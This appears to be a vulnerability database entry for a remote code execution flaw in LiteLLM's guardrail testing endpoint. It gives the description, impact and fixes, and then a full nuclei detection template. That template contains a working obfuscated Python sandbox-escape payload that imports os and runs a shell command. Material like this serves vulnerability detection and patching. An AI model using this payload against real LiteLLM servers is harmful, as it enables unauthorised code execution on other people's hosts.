HexBrain

Browse / CVEs / CVE-2026-40217

CVE-2026-40217· CWE-94

LiteLLM < 1.25.0 - Remote Code Execution

highseverity
8.7CVSS score
17%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it

LiteLLM before 1.25.0 allows authenticated users with the master API key to execute arbitrary Python code through the /guardrails/test_custom_code endpoint intended for custom guardrail testing. The endpoint’s insufficient filtering mechanisms can be bypassed, allowing attackers to abuse Python’s string operations and bytecode manipulation to break out of the restricted environment. Successful exploitation may lead to remote code execution as the LiteLLM process user, which may be root when using the default Docker image.

Impact

An authenticated attacker with the master key can escape the guardrail sandbox and execute arbitrary commands on the LiteLLM host, potentially as root when using the default container.

Fix

Block /guardrails/test_custom_code at the reverse proxy, restrict admin API access, avoid exposing the management interface to untrusted networks, and do not run LiteLLM as root. Apply vendor patches when available.

How to confirm it

Send: POST {{BaseURL}}/guardrails/test_custom_code
Positive when: contains_all(body, "rce\":", "success\":true") and regex("uid=[0-9]+.*gid=[0-9]+.*", body) and status_code == 200

Run it with nuclei: nuclei -id CVE-2026-40217 -u <target>

The full check
id: CVE-2026-40217

info:
  name: LiteLLM < 1.25.0 - Remote Code Execution
  author: ritikchaddha
  severity: high
  description: |
    LiteLLM before 1.25.0 allows authenticated users with the master API key to execute arbitrary Python code through the /guardrails/test_custom_code endpoint intended for custom guardrail testing. The endpoint’s insufficient filtering mechanisms can be bypassed, allowing attackers to abuse Python’s string operations and bytecode manipulation to break out of the restricted environment. Successful exploitation may lead to remote code execution as the LiteLLM process user, which may be root when using the default Docker image.
  impact: |
    An authenticated attacker with the master key can escape the guardrail sandbox and execute arbitrary commands on the LiteLLM host, potentially as root when using the default container.
  remediation: |
    Block /guardrails/test_custom_code at the reverse proxy, restrict admin API access, avoid exposing the management interface to untrusted networks, and do not run LiteLLM as root. Apply vendor patches when available.
  reference:
    - https://www.x41-dsec.de/lab/advisories/x41-2026-001-litellm/
    - https://github.com/BerriAI/litellm
    - https://nvd.nist.gov/vuln/detail/CVE-2026-40217
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
    cvss-score: 8.7
    cve-id: CVE-2026-40217
    epss-score: 0.1702
    epss-percentile: 0.97099
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.favicon.hash:439373620
    fofa-query: title="LiteLLM"
  tags: cve,cve2026,litellm,guardrail,rce,intrusive,vkev

http:
  - method: POST
    path:
      - "{{BaseURL}}/guardrails/test_custom_code"

    headers:
      Authorization: Bearer {{api_key}}
      Content-Type: application/json
      Accept: application/json

    body: |
      {
        "custom_code": "def apply_guardrail(inputs, request_data, input_type):\n    obj = str.mro()[1]\n    def g(fn):\n        yield fn.placeholder\n    c = g(None).gi_code\n    gn = \"_\"+\"_gl\"+\"ob\"+\"als\"+\"_\"+\"_\"\n    cn = \"_\"+\"_co\"+\"de_\"+\"_\"\n    obj.__setattr__(g, cn, c.replace(co_names=(gn,)))\n    for v in g(http_get):\n        gd = v\n        break\n    bn = \"_\"+\"_bu\"+\"ilt\"+\"ins\"+\"_\"+\"_\"\n    imp = gd[bn][\"_\"+\"_im\"+\"po\"+\"rt_\"+\"_\"]\n    return {\"rce\": imp(\"os\").popen(\"id\").read()}",
        "test_input": {
          "messages": [
            {
              "role": "user",
              "content": "test"
            }
          ]
        }
      }

    skip-variables-check: true
    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "rce\":", "success\":true")'
          - 'regex("uid=[0-9]+.*gid=[0-9]+.*", body)'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from